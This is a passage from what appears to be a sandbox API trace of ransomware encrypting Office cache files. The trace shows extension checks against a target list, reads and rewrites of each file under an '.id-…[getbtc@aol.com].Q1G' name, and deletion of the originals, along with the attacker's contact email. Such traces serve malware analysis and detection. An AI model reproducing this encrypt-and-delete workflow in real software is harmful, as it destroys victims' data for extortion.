(lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.639] lstrlenW (lpString=".dbf") returned 4 [0036.639] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.639] lstrlenW (lpString=".1cd") returned 4 [0036.639] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.639] lstrlenW (lpString=".jpg") returned 4 [0036.639] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.640] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.640] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0036.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.640] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=819) returned 1 [0036.640] CloseHandle (hObject=0x1b0) returned 1 [0036.640] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0036.640] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.641] GetLastError () returned 0x0 [0036.641] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x333, lpOverlapped=0x0) returned 1 [0036.642] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x340, lpOverlapped=0x0) returned 1 [0036.643] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.643] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0036.643] SetEndOfFile (hFile=0x1c4) returned 1 [0036.643] CloseHandle (hObject=0x1c4) returned 1 [0036.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.644] SetEndOfFile (hFile=0x1b0) returned 1 [0036.646] CloseHandle (hObject=0x1b0) returned 1 [0036.647] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.647] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0036.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.647] lstrlenW (lpString=".doc") returned 4 [0036.647] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.647] lstrlenW (lpString=".docx") returned 5 [0036.647] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.647] lstrlenW (lpString=".pdf") returned 4 [0036.647] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.647] lstrlenW (lpString=".xls") returned 4 [0036.647] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.647] lstrlenW (lpString=".xlsx") returned 5 [0036.647] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.647] lstrlenW (lpString=".ppt") returned 4 [0036.647] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.647] lstrlenW (lpString=".zip") returned 4 [0036.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.648] lstrlenW (lpString=".rar") returned 4 [0036.648] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString=".bz2") returned 4 [0036.648] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString=".7z") returned 3 [0036.648] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.648] lstrlenW (lpString=".dbf") returned 4 [0036.648] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.648] lstrlenW (lpString=".1cd") returned 4 [0036.648] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.648] lstrlenW (lpString=".jpg") returned 4 [0036.648] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.648] lstrlenW (lpString=".doc") returned 4 [0036.648] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString=".docx") returned 5 [0036.648] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.648] lstrlenW (lpString=".pdf") returned 4 [0036.648] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString=".xls") returned 4 [0036.648] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString=".xlsx") returned 5 [0036.648] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.648] lstrlenW (lpString=".ppt") returned 4 [0036.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.648] lstrlenW (lpString=".zip") returned 4 [0036.648] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.649] lstrlenW (lpString=".rar") returned 4 [0036.649] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.649] lstrlenW (lpString=".bz2") returned 4 [0036.649] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.649] lstrlenW (lpString=".7z") returned 3 [0036.649] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.649] lstrlenW (lpString=".dbf") returned 4 [0036.649] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.649] lstrlenW (lpString=".1cd") returned 4 [0036.649] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0036.649] lstrlenW (lpString=".jpg") returned 4 [0036.649] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.649] lstrcmpiW (lpString1=".chm", lpString2=".Q1G") returned -1 [0036.649] lstrlenW (lpString="pss10r.chm") returned 10 [0036.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.650] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27195) returned 1 [0036.650] CloseHandle (hObject=0x1b0) returned 1 [0036.650] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0036.650] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.651] GetLastError () returned 0x0 [0036.651] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0036.653] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0036.654] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.654] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0036.654] SetEndOfFile (hFile=0x1c4) returned 1 [0036.654] CloseHandle (hObject=0x1c4) returned 1 [0036.655] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.655] SetEndOfFile (hFile=0x1b0) returned 1 [0036.656] CloseHandle (hObject=0x1b0) returned 1 [0036.656] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.656] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0036.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.657] lstrlenW (lpString=".doc") returned 4 [0036.657] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString=".docx") returned 5 [0036.657] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0036.657] lstrlenW (lpString=".pdf") returned 4 [0036.657] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString=".xls") returned 4 [0036.657] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString=".xlsx") returned 5 [0036.657] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0036.657] lstrlenW (lpString=".ppt") returned 4 [0036.657] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.657] lstrlenW (lpString=".zip") returned 4 [0036.657] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString=".rar") returned 4 [0036.657] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString=".bz2") returned 4 [0036.657] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0036.657] lstrlenW (lpString=".7z") returned 3 [0036.657] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0036.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.657] lstrlenW (lpString=".dbf") returned 4 [0036.657] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0036.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.657] lstrlenW (lpString=".1cd") returned 4 [0036.657] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0036.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.657] lstrlenW (lpString=".jpg") returned 4 [0036.657] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.658] lstrlenW (lpString=".doc") returned 4 [0036.658] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString=".docx") returned 5 [0036.658] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0036.658] lstrlenW (lpString=".pdf") returned 4 [0036.658] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString=".xls") returned 4 [0036.658] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString=".xlsx") returned 5 [0036.658] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0036.658] lstrlenW (lpString=".ppt") returned 4 [0036.658] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.658] lstrlenW (lpString=".zip") returned 4 [0036.658] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString=".rar") returned 4 [0036.658] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString=".bz2") returned 4 [0036.658] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0036.658] lstrlenW (lpString=".7z") returned 3 [0036.658] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0036.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.658] lstrlenW (lpString=".dbf") returned 4 [0036.658] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0036.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.658] lstrlenW (lpString=".1cd") returned 4 [0036.658] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0036.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0036.658] lstrlenW (lpString=".jpg") returned 4 [0036.658] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0036.658] lstrcmpiW (lpString1=".chm", lpString2=".Q1G") returned -1 [0036.659] lstrlenW (lpString="setup.chm") returned 9 [0036.659] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0036.852] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=67190) returned 1 [0036.852] CloseHandle (hObject=0x1d0) returned 1 [0036.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0036.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0036.852] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.853] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.853] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.487] GetLastError () returned 0x0 [0037.487] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x10676, lpOverlapped=0x0) returned 1 [0037.491] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0037.493] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.493] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.493] SetEndOfFile (hFile=0x1ec) returned 1 [0037.493] CloseHandle (hObject=0x1ec) returned 1 [0037.494] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.495] SetEndOfFile (hFile=0x1d0) returned 1 [0037.496] CloseHandle (hObject=0x1d0) returned 1 [0037.496] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.496] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0037.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.496] lstrlenW (lpString=".doc") returned 4 [0037.496] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0037.496] lstrlenW (lpString=".docx") returned 5 [0037.496] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0037.496] lstrlenW (lpString=".pdf") returned 4 [0037.496] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0037.496] lstrlenW (lpString=".xls") returned 4 [0037.496] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0037.496] lstrlenW (lpString=".xlsx") returned 5 [0037.496] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0037.496] lstrlenW (lpString=".ppt") returned 4 [0037.496] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0037.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.496] lstrlenW (lpString=".zip") returned 4 [0037.497] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString=".rar") returned 4 [0037.497] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString=".bz2") returned 4 [0037.497] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0037.497] lstrlenW (lpString=".7z") returned 3 [0037.497] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0037.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.497] lstrlenW (lpString=".dbf") returned 4 [0037.497] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.497] lstrlenW (lpString=".1cd") returned 4 [0037.497] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0037.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.497] lstrlenW (lpString=".jpg") returned 4 [0037.497] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.497] lstrlenW (lpString=".doc") returned 4 [0037.497] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString=".docx") returned 5 [0037.497] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0037.497] lstrlenW (lpString=".pdf") returned 4 [0037.497] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString=".xls") returned 4 [0037.497] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString=".xlsx") returned 5 [0037.497] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0037.497] lstrlenW (lpString=".ppt") returned 4 [0037.497] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0037.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.497] lstrlenW (lpString=".zip") returned 4 [0037.497] 